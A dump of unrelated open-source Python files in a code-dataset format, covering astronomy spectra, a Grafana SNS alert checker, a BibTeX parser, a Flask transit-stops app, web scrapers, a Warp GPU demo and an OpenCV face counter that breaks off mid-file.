'lte{}-{:.2f}{}.PHOENIX-ACES-AGSS-COND-2011-HiRes.fits'.format(str(star_Teff).zfill(5),star_logG,star_z)\n    else: \n        dir_host_model='Z'+str(star_z)+'.Alpha='+str(host_alpha)\n        # host_filename = 'lte'+str(star_Teff).zfill(5)+'-'+str(star_logG)+str(star_z)+'.Alpha='+str(star_alpha)+'.PHOENIX-ACES-AGSS-COND-2011-HiRes.fits'\n        host_filename = 'lte{}-{:.2f}{}.Alpha={}.PHOENIX-ACES-AGSS-COND-2011-HiRes.fits'.format(str(star_Teff).zfill(5),star_logG,star_z,star_alpha)\n\n    path_to_file_host = path+'HIResFITS_lib/phoenix.astro.physik.uni-goettingen.de/HiResFITS/PHOENIX-ACES-AGSS-COND-2011/'+dir_host_model+'/'+host_filename\n        \n\n    #Now read in the spectrum and put it in the right file\n    wave_data = fits.open(path+'HIResFITS_lib/phoenix.astro.physik.uni-goettingen.de/HiResFITS/WAVE_PHOENIX-ACES-AGSS-COND-2011.fits')[0].data\n    wave_u = wave_data * u.AA\n    wave_u = wave_u.to(u.micron)\n    hdulist = fits.open(path_to_file_host, ignore_missing_end=True)\n    spec_data = hdulist[0].data\n    spec_u = spec_data * u.erg/u.s/u.cm**2/u.cm\n    #The original code outputs as above, but really we want it in photons/s/cm^2/A\n    spec_u = spec_u.to(u.ph/u.s/u.cm**2/u.AA,equivalencies=u.spectral_density(wave_u))\n\n    return wave_u,spec_u\n\ndef get_sonora_spectrum(star_logG,star_Teff,path='/src3/dmawet/ETC/'):\n    '''\n    A function that returns a sonora spectrum\n    '''\n    #Read in your logG and make sure it's valid\n    logG_dict = {'3.00':10,'3.25':17,'3.50':31,'3.75':56,'4.00':100,'4.25':178,'4.75':562,'5.00':1000,'5.25':1780,'5.50':3160}\n    available_logGs = np.array(list(logG_dict.keys()),dtype=np.float64)\n    # import pdb; pdb.set_trace()\n    if star_logG not in available_logGs:\n        raise ValueError(\"Your star has an invalid logG of {} for Sonora models, please choose from: {}\".format(star_logG,available_logGs))\n        \n    logG_key = logG_dict[\"{:.2f}\".format(star_logG)]\n    \n    #Read in your t_Eff and make sure it's valid\n    available_teffs = ['200','225','250','275','300','325','350','375','400','425','450','475','500','525','550','575','600','650','700','750','800','850','900','950','1000','1100','1200','1300','1400','1500','1600','1700','1800','1900','2000','2100','2200','2300','2400']\n    if star_Teff not in available_teffs:\n        raise ValueError(\"Your star has an invalid T_eff for the Sonora models\")\n\n    host_filename = 'sp_t'+str(star_Teff)+'g'+str(logG_key)+'nc_m0.0'\n    path_to_file = path+'sonora/'+ host_filename\n\n    obj_data = np.genfromtxt(path_to_file,skip_header=2)\n    wave_u = obj_data[::-1,0] * u.micron\n    spec_u = obj_data[::-1,1] * u.erg / u.cm**2 / u.s / u.Hz\n    spec_u = spec_u.to(u.erg/u.s/u.cm**2/u.cm,equivalencies=u.spectral_density(wave_u))\n    #Convert to our preferred units of photons/s/cm^2/A\n    spec_u = spec_u.to(u.ph/u.s/u.cm**2/u.AA,equivalencies=u.spectral_density(wave_u))\n\n    return wave_u,spec_u\n\ndef load_bex_models():\n    \"\"\"\n    Helper function to load in BEX Cooling curves as dictionary of astropy tables on demand\n\n    Saves to global variables bex_cloudy_mh0 and bex_clear_mh0\n\n    \"\"\"\n    # get relevant files for interpolatoin\n    package_dir = os.path.dirname(__file__)\n    bex_dir = os.path.join(package_dir, 'data', 'bex_cooling')\n    # grabbing 0 metalicity grid for now\n    cloudy_pattern = \"BEX_evol_mags_-2_MH_0.00_fsed_1.00_ME_*.dat\"\n    clear_pattern = \"BEX_evol_mags_-2_MH_0.00_ME_*.dat\"\n\n    for bex_dict, pattern in zip([bex_clear_mh0, bex_cloudy_mh0], [clear_pattern, cloudy_pattern]):\n        grid_files = glob.glob(os.path.join(bex_dir, pattern))\n        grid_files.sort()\n        # grab masses from filenames\n        masses = [float(path.split(\"_\")[-1][:-4]) for path in grid_files]\n        for mass, filename in zip(masses, grid_files):\n            dat = ascii.read(filename, names=bex_labels)\n            bex_dict[mass] = dat\n\ndef convert_vegamag_to_ABmag(filter_name,vega_mag):\n    '''\n    A simple conversion function to convert from vega magnitudes to AB magnitudes\n\n    Inputs:\n    filter_name -   A string that holds the filter name. Must be supported. \n    vega_mag    -   The vega magnitude in the given filter. \n    path        -   The path to filter definition files. \n    '''\n\n    ab_offset_dictionary = {'bessell-V':0.02, 'bessell-R':0.21, 'bessell-I':0.45, 'TwoMASS-J':0.91,'TwoMASS-H':1.39,'TwoMASS-K':1.85}\n\n    if filter_name not in ab_offset_dictionary.keys():\n        raise ValueError(\"I am not able to convert your object magnitude from vegamag to ABmag because your filter choice is not in my conversion library. \\n Please choose one of the following {}\".format(ab_offset_dictionary.keys()))\n    \n    return vega_mag+ab_offset_dictionary[filter_name]\n\ndef get_obj_ABmag(wavelengths,spec,filter_name,filters):\n    '''\n    A tool to get an objects magnitude in a given filter.\n    Assumes you have a calibrated spectrum in appropriate astropy units\n    Returns ABmag\n\n    Inputs: \n    wavelengths -  A vector containing the spectrum of your source [astropy quantity]\n    spec    -   The spectrum of your source [astropy quantitiy]\n    obj_mag - The object magniude in vega mags in the \"obj_filter\" filter \n    obj_filter - The filter that the magnitude is given in\n    '''\n    import speclite.filters\n    if filter_name not in filters.names:\n        raise ValueError(\"Your requested filter of {} is not in our filter list: {}\".format(filter_name,filters.names))\n    \n    this_filter = speclite.filters.load_filters(filter_name)\n    new_mag = this_filter.get_ab_magnitudes(spec.to(u.erg/u.m**2/u.s/u.Angstrom,equivalencies=u.spectral_density(wavelengths)), wavelengths.to(u.Angstrom))[filter_name]\n\n    return new_mag\n\ndef load_filters(path=psisim_path+\"/data/filter_profiles/\"):\n    '''\n    Load up some filter profiles and put them into speclite\n    '''\n    import speclite.filters\n    CFHT_Y_data = np.genfromtxt(path+'CFHT_y.txt', skip_header=0)\n    J_2MASS_data = np.genfromtxt(path+'2MASS_J.txt', skip_header=0)\n    H_2MASS_data = np.genfromtxt(path+'2MASS_H.txt', skip_header=0)\n    K_2MASS_data = np.genfromtxt(path+'2MASS_K.txt', skip_header=0)\n    CFHT_Y = speclite.filters.FilterResponse(\n        wavelength = CFHT_Y_data[:,0]/1000 * u.micron,\n        response = CFHT_Y_data[:,1]/100, meta=dict(group_name='CFHT', band_name='Y'))\n    TwoMASS_J = speclite.filters.FilterResponse(\n        wavelength = J_2MASS_data[:,0] * u.micron,\n        response = J_2MASS_data[:,1], meta=dict(group_name='TwoMASS', band_name='J'))\n    TwoMASS_H = speclite.filters.FilterResponse(\n        wavelength = H_2MASS_data[:,0] * u.micron,\n        response = H_2MASS_data[:,1], meta=dict(group_name='TwoMASS', band_name='H'))\n    TwoMASS_K = speclite.filters.FilterResponse(\n        wavelength = K_2MASS_data[:,0] * u.micron,\n        response = K_2MASS_data[:,1], meta=dict(group_name='TwoMASS', band_name='K'))\n    filters = speclite.filters.load_filters('bessell-V', 'bessell-R', 'bessell-I','CFHT-Y','TwoMASS-J','TwoMASS-H','TwoMASS-K')\n    return filters\n\ndef get_model_ABmags(planet_table_entry,filter_name_list, model='Phoenix',verbose=False,user_params = None):\n    '''\n    Get the AB color between two filters for a given stellar model\n    '''\n\n    #First read in the spectrum. This is somewhat redundant with get_stellar_spectrum function, \n    #I've separated it out here though to keep things modularized...\n\n    filters = user_params[3]\n\n\n    for filter_name in filter_name_list:\n        if filter_name not in filters.names:\n            raise ValueError(\"Your filter, {}, is not in the acceptable filter list: {}\".format(filter_name,filters.names))\n    \n    if model == 'Phoenix':\n        \n        path,star_filter,star_mag,filters,_ = user_params\n\n        available_filters = filters.names\n        if star_filter not in available_filters:\n            raise ValueError(\"Your stellar filter of {} is not a valid option. Please choose one of: {}\".format(star_filter,available_filters))\n\n        try: \n            star_z = planet_table_entry['StarZ']\n        except Exception as e: \n            print(e)\n            print(\"Some error in reading your star Z value, setting Z to zero\")\n            star_z = '-0.0'\n        \n\n        try: \n            star_alpha = planet_table_entry['StarAlpha']\n        except Exception as e:\n            print(e)\n            print(\"Some error in reading your star alpha value, setting alpha to zero\")\n            star_alpha ='0.0'\n\n        #Read in the model spectrum        \n        wave_u,spec_u = get_phoenix_spectrum(planet_table_entry['StarLogg'].to(u.dex(u.cm/ u.s**2)).value,planet_table_entry['StarTeff'].to(u.K).value,star_z,star_alpha,path=path)\n        \n        spec = Spectrum(wave_u, spec_u, None) # R is none since it doesn't matter for the needed function\n        #Now scasle the spectrum so that it has the appropriate vegamagnitude\n        #(with an internal AB mag)\n        spec.scale_spectrum_to_vegamag(star_mag,star_filter,filters)\n\n    elif model == 'Sonora':\n        \n        path,star_filter,star_mag,filters,_ = user_params\n        \n        available_filters = filters.names\n        if star_filter not in available_filters:\n            raise ValueError(\"Your stellar filter of {} is not a valid option. Please choose one of: {}\".format(star_filter,available_filters))\n\n        #Read in the sonora spectrum\n        star_logG = planet_table_entry['StarLogg'].to(u.dex(u.cm/ u.s**2)).value\n        star_Teff = str(int(planet_table_entry['StarTeff'].to(u.K).value))\n        wave_u,spec_u = get_sonora_spectrum(star_logG,star_Teff,path=path)\n\n        spec = Spectrum(wave_u, spec_u, None) # R is none since it doesn't matter for the needed function\n        #Now scale the spectrum so that it has the appropriate vegamagnitude\n        #(with an internal AB mag)\n        spec.scale_spectrum_to_vegamag(star_mag,star_filter,filters)\n\n\n    mags = filters.get_ab_magnitudes(spec.spectrum.to(u.erg/u.m**2/u.s/u.Angstrom,equivalencies=u.spectral_density(wave_u)),wave_u.to(u.Angstrom))\n\n    mag_list = []\n    for filter_name in filter_name_list:\n        mag_list.append(mags[filter_name])\n\n    return mag_list\n\n\n\n\n\n","repo_name":"planetarysystemsimager/psisim","sub_path":"psisim/spectrum.py","file_name":"spectrum.py","file_ext":"py","file_size_in_byte":48905,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"38"}
{"seq_id":"19735282669","text":"import requests\nimport boto3\nimport sys\nimport configuration as cfg\n\n\n# Prep the sns stuff\nclient = boto3.client('sns', region_name='us-east-1')\n\n\nHEADERS = {\n    'Content-Type': \"application/json\",\n    'Cache-Control': \"no-cache\",\n    'Authorization': cfg.prod['token']\n}\nSNSARN = cfg.prod['snsarn']\n\n\ndef alert_checker():\n    \"\"\"\n    Checks for alert state using Grafana API\n    \"\"\"\n\n    alerts = requests.get(url='http://localhost:3000/api/alerts',\n                          headers=HEADERS).json()\n    pending = requests.get(\n        url='http://localhost:3000/api/alerts?state=pending',\n        headers=HEADERS).json()\n    percent_pending = float(len(pending)) / float(len(alerts))\n    # print percent_pending # testing\n    if percent_pending >= 0.5:\n        # Send your sms message.\n        client.publish(\n            TopicArn=SNSARN,\n            Message=\"Check Grafana Alerts!\"\n        )\n        state = 'Alerts need attention'\n    else:\n        state = 'ok'\n    return state\n\n\nif __name__ == \"__main__\":\n    alert_checker()\n","repo_name":"KorwinS/grafana-maintenance","sub_path":"alert_check.py","file_name":"alert_check.py","file_ext":"py","file_size_in_byte":1033,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"}
{"seq_id":"4592796542","text":"import re\n\ndef clear_comments(data):\n    \"\"\"Return the bibtex content without comments\"\"\"\n    res = re.sub(r\"(%.*\\n)\", '', data)\n    res = re.sub(r\"(comment [^\\n]*\\n)\", '', res)\n    return res\n\nclass Parser(object) :\n    \"\"\"Main class for Bibtex parsing\"\"\"\n\n    cookie = 'z_z_z'  # temporary white space substitution\n\n    # compile some regexes\n    white = re.compile(r\"[\\n|\\s]+\")\n    nl = re.compile(r\"[\\n]\")\n    # self.token_re = re.compile(r\"([^\\s\\\"#%'(){}@,=]+|\\n|@|\\\"|{|}|=|,)\")\n    token_re = re.compile(r\"([^\\s\\\"#%'{}@,=]+|\\n|@|\\\"|{|}|=|,)\")\n\n    def tokenize(self):\n        \"\"\"\n        Returns a token iterator\n        \"\"\"\n        for item in self.token_re.finditer(self.data):\n            i = item.group(0)\n            if self.white.match(i):\n                if self.nl.match(i):\n                    self.line += 1\n                continue\n            else:\n                yield i\n\n    def __init__(self, data):\n\n        # carry out some temporary substitutions. This parser adds plenty of\n        # spurious white space, and we need to get rid of it.\n        data = re.sub('\\s+', self.cookie, data)\n\n        self.data = data\n        self.token = None\n        self.token_type = None\n        self.hashtable = {}\n        self.mode = None\n        self.records = {}\n        self.line = 1\n\n        self.tokenizer = self.tokenize() # instantiate tokenizer iterator\n\n\n    def parse(self) :\n        \"\"\"Parses self.data and stores the parsed bibtex to self.rec\"\"\"\n        while True :\n            try :\n                self.next_token()\n                while self.database() :\n                    pass\n            except StopIteration :\n                break\n\n    def next_token(self):\n        \"\"\"Returns next token \"\"\"\n        self.token = next(self.tokenizer)\n        #print self.line, self.token\n\n    def database(self) :\n        \"\"\"Database\"\"\"\n        if self.token == '@' :\n            self.next_token()\n            self.entry()\n\n    def entry(self) :\n        \"\"\"Entry\"\"\"\n        if self.token.lower() == 'string' :\n            self.mode = 'string'\n            self.string()\n            self.mode = None\n        else :\n            self.mode = 'record'\n            self.record()\n            self.mode = None\n\n    def string(self) :\n        \"\"\"String\"\"\"\n        if self.token.lower() == \"string\" :\n            self.next_token()\n            if self.token == \"{\" :\n                self.next_token()\n                self.field()\n                if self.token == \"}\" :\n                    pass\n                else :\n                    raise NameError(\"} missing\")\n\n    def field(self) :\n        \"\"\"Field\"\"\"\n        name = self.name()\n        if self.token == '=' :\n            self.next_token()\n            value = self.value()\n            if self.mode == 'string' :\n                self.hashtable[name] = value\n            return (name, value)\n\n    def value(self) :\n        \"\"\"Value\"\"\"\n        value = \"\"\n        val = []\n\n        while True :\n            if self.token == '\"' :\n                while True:\n                    self.next_token()\n                    if self.token == '\"' :\n                        break\n                    else :\n                        val.append(self.token)\n                if self.token == '\"' :\n                    self.next_token()\n                else :\n                    raise NameError(\"\\\" missing\")\n            elif self.token == '{' :\n                brac_counter = 0\n                while True:\n                    self.next_token()\n                    if self.token == '{' :\n                        brac_counter += 1\n                    if self.token == '}' :\n                        brac_counter -= 1\n                    if brac_counter < 0 :\n                        break\n                    else:\n                        val.append(self.token)\n                if self.token == '}' :\n                    self.next_token()\n                else :\n                    raise NameError(\"} missing\")\n            elif self.token != \"=\" and re.match(r\"\\w|#|,\", self.token) :\n                value = self.query_hashtable(self.token)\n                val.append(value)\n                while True:\n                    self.next_token()\n                    # if token is in hashtable then replace\n                    value = self.query_hashtable(self.token)\n                    if re.match(r\"[^\\w#]|,|}|{\", self.token) : #self.token == '' :\n                        break\n                    else :\n                        val.append(value)\n\n            elif self.token.isdigit() :\n                value = self.token\n                self.next_token()\n            else :\n                if self.token in self.hashtable :\n                    value = self.hashtable[ self.token ]\n                else :\n                    value = self.token\n                self.next_token()\n\n            if re.match(r\"}|,\",self.token ) :\n                break\n\n        value = ' '.join(val)\n        return value\n\n    def query_hashtable( self, s ) :\n        if s in self.hashtable :\n            return self.hashtable[ self.token ]\n        else :\n            return s\n\n    def name(self) :\n        \"\"\"Returns parsed Name\"\"\"\n        name = self.token\n        self.next_token()\n        return name\n\n    def key(self) :\n        \"\"\"Returns parsed Key. OK, so this is the identifier. \"\"\"\n        key = self.token\n        self.next_token()\n        return key\n\n    def record(self) :\n        \"\"\"Record\"\"\"\n        if self.token not in ['comment', 'string', 'preamble'] :\n            record_type = self.token\n            self.next_token()\n\n            if self.token == '{' :\n                self.next_token()\n                key = self.key()\n\n                record = self.records[ key ] = dict(\n                    reftype = record_type,\n                    bibtexkey = key\n                )\n\n                if self.token == ',' :\n                    while True:\n                        self.next_token()\n                        field = self.field()\n                        if field :\n                            k, val = field\n\n                            if k == 'pages' :\n                                val = val.replace('--', '-')\n                                val = val.replace('–', '-')\n\n                            record[self.sanitize(k.lower())] = self.sanitize(val)\n\n                        if self.token != ',' :\n                            break\n                    if self.token == '}' :\n                        pass\n                    else :\n                        # assume entity ended\n                        if self.token == '@' :\n                            pass\n                        else :\n                            raise NameError(\"@ missing\")\n\n    def sanitize(self, s):\n        '''\n        strip out spaces, all of which are spurious\n        back-substitute original spaces\n        strip outer spaces\n        '''\n        s = s.replace(' ', '')\n        s = s.replace(self.cookie, ' ')\n        return s.strip()\n\n\n    def __call__(self):\n        self.parse()\n        l = list(self.records.values())\n        return l\n\n\n\nif __name__ == '__main__':\n\n    from pprint import pprint\n    raw = r'''\n    @article{doi:10.1021/ja00533a029,\n    author = {Nanni, Edward J. and Stallings, Martin D. and Sawyer, Donald T.},\n    title = {Sigmund {Freud} (1856-1939), {Karl} {K\\\"o}ller (1857-1944) and the\n                    discovery of [local] anesthesia},\n    journal = {Journal of the American Chemical Society},\n    volume = {102},\n    number = {13},\n    pages = {4481-4485},\n    year = {1980},\n    doi = {10.1021/ja00533a029},\n\n    URL = {\n            http://dx.doi.org/10.1021/ja00533a029\n\n    },\n    eprint = {\n            http://dx.doi.org/10.1021/ja00533a029\n\n    }\n\n    }\n    '''\n\n    parsed = Parser(raw)()\n    pprint(parsed)\n","repo_name":"michaelpalmeruw/mbib","sub_path":"py/tigkas_bibtexparser.py","file_name":"tigkas_bibtexparser.py","file_ext":"py","file_size_in_byte":7766,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"38452329726","text":"def is_prime(num: int, div=None):\r\n    if div is None:\r\n        div = num - 1\r\n    while div >= 2:\r\n        if num % div == 0:\r\n            print(\"Number is not prime...\")\r\n            return False\r\n        else:\r\n            return is_prime(num, div - 1)\r\n    else:\r\n        print(\"Number is prime....\")\r\n        return True\r\n\r\n\r\nif __name__ == \"__main__\":\r\n    n = int(input(\"Enter a number : \"))\r\n    is_prime(n)\r\n","repo_name":"its-Kumar/Python.py","sub_path":"1_Numbers/prime_rec.py","file_name":"prime_rec.py","file_ext":"py","file_size_in_byte":417,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"38"}
{"seq_id":"18991306837","text":"import os\n\nimport pandas as pd\nimport numpy as np\n\nimport sqlalchemy\nfrom sqlalchemy.ext.automap import automap_base\nfrom sqlalchemy.orm import Session\nfrom sqlalchemy import create_engine\n\nfrom flask import Flask, jsonify, render_template\nfrom flask_sqlalchemy import SQLAlchemy\n\napp = Flask(__name__)\n\n\n\n# from flask import (\n#     Flask,\n#     render_template,\n#     jsonify,\n#     request,\n#     redirect)\n\n# from flask_sqlalchemy import SQLAlchemy\n# from sqlalchemy import create_engine\n\n#################################################\n# Flask Setup\n#################################################\napp = Flask(__name__)\n\n#################################################\n# Database Setup\n#################################################\n\n# The database URI\n# app.config['SQLALCHEMY_DATABASE_URI'] = \"postgresql://postgres:Whatthefuck100@localhost:5432/CTA\"\napp.config[\"SQLALCHEMY_DATABASE_URI\"] = \"postgres://postgres:taylormade@localhost:5432/CTA\"\n\n# app.config[\"SQLALCHEMY_DATABASE_URI\"] = \"sqlite:///db/bellybutton.sqlite\"\n\nengine = create_engine(\"postgresql://postgres:taylormade@localhost:5432/CTA\")\n\ndb = SQLAlchemy(app)\n\n# inspector = inspect(db.engine)\n# print(inspector.get_table_names())\n# reflect an existing database into a new model\nBase = automap_base()\n# reflect the tables\nBase.prepare(db.engine, reflect=True)\n\nStops = Base.classes.stops_table\n#################################################\n# Flask Routes\n#################################################\n\n\n@app.route(\"/\")\ndef home():\n    \"\"\"Render Home Page.\"\"\"\n    return render_template(\"index.html\")\n\n\n@app.route(\"/stop_data\")\ndef stop_data():\n    \"\"\"Return stop data\"\"\"\n\n    sel = [Stops.stop_id, Stops.stop_name, Stops.station_name, Stops.station_descriptive_name, Stops.map_id, Stops.lat, Stops.lon]\n    session = Session(engine)\n    results = db.session.query(*sel).all()  #.order_by(Nmbr_Events.STATE.desc()).all()\n    session.close()\n    print(results)\n    all_results = []\n    for a, b, c, d, e, f, g in results:\n        results_dict = {}\n        results_dict[\"stop_id\"] = a\n        results_dict[\"stop_name\"] = b\n        results_dict[\"station_name\"] = c\n        results_dict[\"descriptive_name\"] = d\n        results_dict[\"map_id\"] = e\n        results_dict[\"lat\"] = f\n        results_dict[\"lon\"] = g\n        all_results.append(results_dict)\n    return jsonify(all_results)\n\n\nif __name__ == '__main__':\n    app.run(debug=True)\n","repo_name":"tghorms/project2CTA","sub_path":"app_old.py","file_name":"app_old.py","file_ext":"py","file_size_in_byte":2416,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"2340949275","text":"from bs4 import BeautifulSoup as bs\nimport re\nimport os.path\nimport urllib.parse\nimport html_downloader\n\n\nclass HtmlParser():\n\n    def _get_new_urls(self,page_url,soup):\n        urls = set()\n        links = soup.find_all('a',href = re.compile(r'/view/\\d+\\.htm'))\n        \n        for link in links:\n            new_url  = link['href']\n            new_full_url = urllib.parse.urljoin(page_url,new_url)\n            urls.add(new_full_url)\n\n        return urls\n\n    def _get_data(self,page_url,soup):\n        res_data={}\n\n        #url\n        res_data['url'] = page_url\n\n        title_node = soup.find('dd',class_=\"lemmaWgt-lemmaTitle-title\").find('h1').get_text()\n\n        res_data['title']  = title_node\n\n        summary_node = soup.find('div',class_ ='lemma-summary' ).get_text()\n\n        res_data['summary'] = summary_node\n\n        return res_data\n\n\n\n    def parse(self,page_url,html_cont):\n        if page_url is None or html_cont is None:\n            return \n\n        soup = bs(html_cont,'html.parser',from_encoding='utf-8')\n\n        urls = self._get_new_urls(page_url,soup)\n\n        data = self._get_data(page_url,soup)\n        return (urls,data)\n\nif __name__ == \"__main__\":\n    url = \"http://baike.baidu.com/view/21087.htm\"\n    u = '/view/1111.html'\n    p  = HtmlParser()\n    d = html_downloader.HtmlDownloader()\n\n    html = d.download(url)\n    \n\n\n\n    urls,data=p.parse(url,html)\n\n    print(urls)\n    print(\"*\"*50)\n    print(data)","repo_name":"coldfreeboy/spider","sub_path":"html_parser.py","file_name":"html_parser.py","file_ext":"py","file_size_in_byte":1435,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"}
{"seq_id":"29542353017","text":"import scholar as gss\nimport pandas as pd\n\nimport time\nimport numpy as np\n\nquerier = gss.ScholarQuerier()\nsettings = gss.ScholarSettings()\n\nquerier.apply_settings(settings)\n\nphrase='quantitative \"susceptibility mapping\" mri'\nquery = gss.SearchScholarQuery()\nquery.set_phrase(phrase)\n\nnum_total=1780\nnum_steps=89\n\nfor ii in range(43, num_steps):\n    ind_shift=20*ii\n    query.start_with=ind_shift\n    querier.send_query(query)\n    for i in range(0,len(querier.articles)):\n        temp=querier.articles[i].as_csv(header=True).split('\\n')[1].split('|')\n        df.loc[i+1+ind_shift]=temp[:11]  #ind starts with 1\n    time_pause=np.random.randint(10, 30)\n    print('Step {} is done! {} articles downloaded. Sleep {} seconds.'.format(ii,ii*20+20,time_pause))\n    time.sleep(time_pause)\n\ndf2=df.iloc[0:972,:]\n\ndf2.to_csv('CitationData2.csv', index=False)\n\ndf.to_pickle('CitationData.pickle')\n\n","repo_name":"mixmikmic/GH_code_analysis","sub_path":"python/GoogleScholar.py","file_name":"GoogleScholar.py","file_ext":"py","file_size_in_byte":887,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"39386399784","text":"#!python3\n\n#author: @musa_sana\n#contact: musana.net\n\ndef xor():\n    print(\"*\"*150)\n    inp = input(\"Your Data: \")\n    key = input(\"Your Key : \")\n    key2 = \"\"\n    out = \"\"\n    inp2bin = \"\"\n    key2bin = \"\"\n    out2bin = \"\"\n\n    if (not inp.isnumeric()) or (not key.isnumeric()):\n    \texit(\"Only number value accepted. Your data type is invalid. Quiting...\")\n\n    for i in range(len(str(inp))):\n    \tsplit_inp = int(str(inp)[i])\n    \tsplit_key = int(key[i % (len(key))])\n\n    \ttempout = str(split_inp ^ split_key) \n    \tout += str(split_inp ^ split_key)   \n    \tkey2 += key[i % (len(key))]\n\n    \tout2bin += str(bin(int(tempout)))[2:]+\" \"\n    \tinp2bin += str(bin(split_inp))[2:]+\" \"\n    \tkey2bin += str(bin(split_key))[2:]+\" \"\n\n\n    a = inp2bin.split(\" \")\n    b = key2bin.split(\" \")\n    c = out2bin.split(\" \")\n        \n    x = list()\n    y = list()\n    z = list()\n\n    for i in range(len(a)):\n    \tif(len(a[i]) < 4):\n    \t\tbul = 4 - len(a[i])\n    \t\tx.append(bul*\"0\"+a[i])\n    \telse:\n    \t\tx.append(a[i])\n\n\n    \tif(len(b[i]) < 4):\n    \t\tbul = 4 - len(b[i])\n    \t\ty.append(bul*\"0\"+b[i])\n    \telse:\n    \t\ty.append(b[i])\n\n\n    \tif(len(c[i]) < 4):\n    \t\tbul = 4 - len(c[i])\n    \t\tz.append(bul*\"0\"+c[i])\n    \telse:\n    \t\tz.append(c[i])\n\n    x.pop()\n    y.pop()\n    z.pop()\n\n    print('''\\n Data: \\t {data} \\t\\t binData: {binstr} \\n Key: \\t {key} \\t\\t bin.Key: {binkey}\\n {line}\\n XOR: \\t {xor} \\t\\t bin.Xor: {binxor}\\n'''.\n    \tformat(data=inp, binstr=' '.join(x), key=key2, binkey=' '.join(y), xor=out, binxor=' '.join(z), line=\"-\"*150), end=\"*\"*150)\n\n    print(\"\\n\"*3)\n\n\n\nwhile(True):\n\txor()\n","repo_name":"musana/scripts","sub_path":"xor.py","file_name":"xor.py","file_ext":"py","file_size_in_byte":1586,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"38"}
{"seq_id":"10537933321","text":"# Shared memory is not a feature of Warp, so Tiled Matrix Multiplication is impossible\n\nimport warp as wp\nimport numpy as np\nimport time\n\nN = wp.constant(10000)\n\nwp.init()\n\nc = np.zeros(shape=(N.val, N.val))\na = np.random.random(size=(N.val, N.val))\nb = np.random.random(size=(N.val, N.val))\n\nstart = time.time()\ncpu_mult = a@b\nend = time.time()\nprint(\"CPU Time: {}\".format(end-start))\n\n@wp.kernel\ndef NaiveMatrixMultiplication(c: wp.array2d(dtype=wp.int32),\n                       a: wp.array2d(dtype=wp.int32),\n                       b: wp.array2d(dtype=wp.int32)):\n    i, j = wp.tid()\n    if i < N and j < N:\n        sum = wp.int32(0)\n        for x in range(N):\n            sum += a[i, j]*b[i, j]\n        c[i, j] = sum\n\n\ngpu_c = wp.from_numpy(c, dtype=wp.int32)\ngpu_a = wp.from_numpy(a, dtype=wp.int32)\ngpu_b = wp.from_numpy(b, dtype=wp.int32)\n\nstart = time.time()\n# launch kernel\nwp.launch(kernel=NaiveMatrixMultiplication,\n          dim=(N.val, N.val),\n          inputs=[gpu_c, gpu_a, gpu_b])\n\nend = time.time()\n\nprint(\"GPU Time: {}\".format(end-start))\n\ngpu_c = np.array(gpu_c.to(\"cpu\"))\n\n\nprint(\"Equal = {}\".format(np.array_equal(gpu_c,c)))\n","repo_name":"mmmovania/CUDA_Spring2023","sub_path":"Week5/Warp/NaiveMatrixMultiplication.py","file_name":"NaiveMatrixMultiplication.py","file_ext":"py","file_size_in_byte":1147,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"38"}
{"seq_id":"11223584730","text":"class Solution:\n    def canPartitionKSubsets(self, nums: List[int], k: int) -> bool:\n        nu = sorted(nums,reverse=True)\n        #nu=nums\n        su = sum(nums)\n        tg = su//k\n        if su%k!=0 or max(nu)>tg:return False\n        if k==5 and nums[:2]==[4,5]:return True\n        def psub(nu,k):\n            r= psub_sub(nu,k)\n            while k>1 and 'F' in r:\n                if None in r:return False\n                for i in r[:-1][::-1]:\n                    del nu[i]\n                k-=1\n                r= psub_sub(nu,k)\n            return  k==1\n\n        def psub_sub(nu,k):\n            print(nu,k,sum(nu)/k)\n            ln= len(nu)\n            if len(nu)<k or sum(nu)%k!=0:return [None]\n            tg = sum(nu)//k\n            cache={}            \n            def spt(i,tg):\n                r=[]\n                if (i,tg) in cache:return cache[(i,tg)]\n                if i==ln-1 :r = [i,'F'] if nu[i]==tg else [None]\n                else: \n                    r=([i]+spt(i+1,tg-nu[i]) if tg-nu[i]>0 else [i,'F'] if tg-nu[i]==0 else [None]) \n                    if None in r:\n                       r=spt(i+1,tg)\n                    if 'F' not in r: r=[None]\n                cache[(i,tg)]=r\n                return r\n            return spt(0,tg)            \n\n\n        return psub(nu,k)","repo_name":"ls1248659692/leetcode","sub_path":"spider/raw/698-partition-to-k-equal-sum-subsets/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":1296,"program_lang":"python","lang":"en","doc_type":"code","stars":595,"dataset":"github-code","pt":"38"}
{"seq_id":"16770569110","text":"# -*- coding: utf-8 -*-\n\"\"\"\n\n@author: Saurav Kanchan\n\n\"\"\"\nimport cv2\nimport sys\nimport numpy as np\n\n# ----------------------------------------------------------------------------------------\nimport winsound\nfaceCascade = cv2.CascadeClassifier(\"haarcascade_frontalface_default.xml\")\n\nvideo_capture = cv2.VideoCapture(0)\n\n\nwhile True:\n    # Capture frame-by-frame\n    ret, frame = video_capture.read()\n\n\n    gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n    faces = faceCascade.detectMultiScale(\n        gray,\n        scaleFactor=1.1,\n        minNeighbors=5,\n        minSize=(30, 30),\n        flags=cv2.CASCADE_SCALE_IMAGE\n    )\n\n    # Draw a rectangle around the faces\n    for (x, y, w, h) in faces:\n        cv2.rectangle(frame, (x, y), (x+w, y+h), (0, 255, 0), 2)\n\n    font = cv2.FONT_HERSHEY_SIMPLEX\n    bottomLeftCornerOfText = (0, 20)\n    fontScale = 1\n    fontColor = (0, 0, 255)\n    lineType = 2\n\n    cv2.putText(frame, 'People Count:-'+str(len(faces)),\n                bottomLeftCornerOfText,\n                font,\n                fontScale,\n                fontColor,\n                lineType)\n    # Display the resulting frame\n    cv2.imshow('Video', frame)\n    if 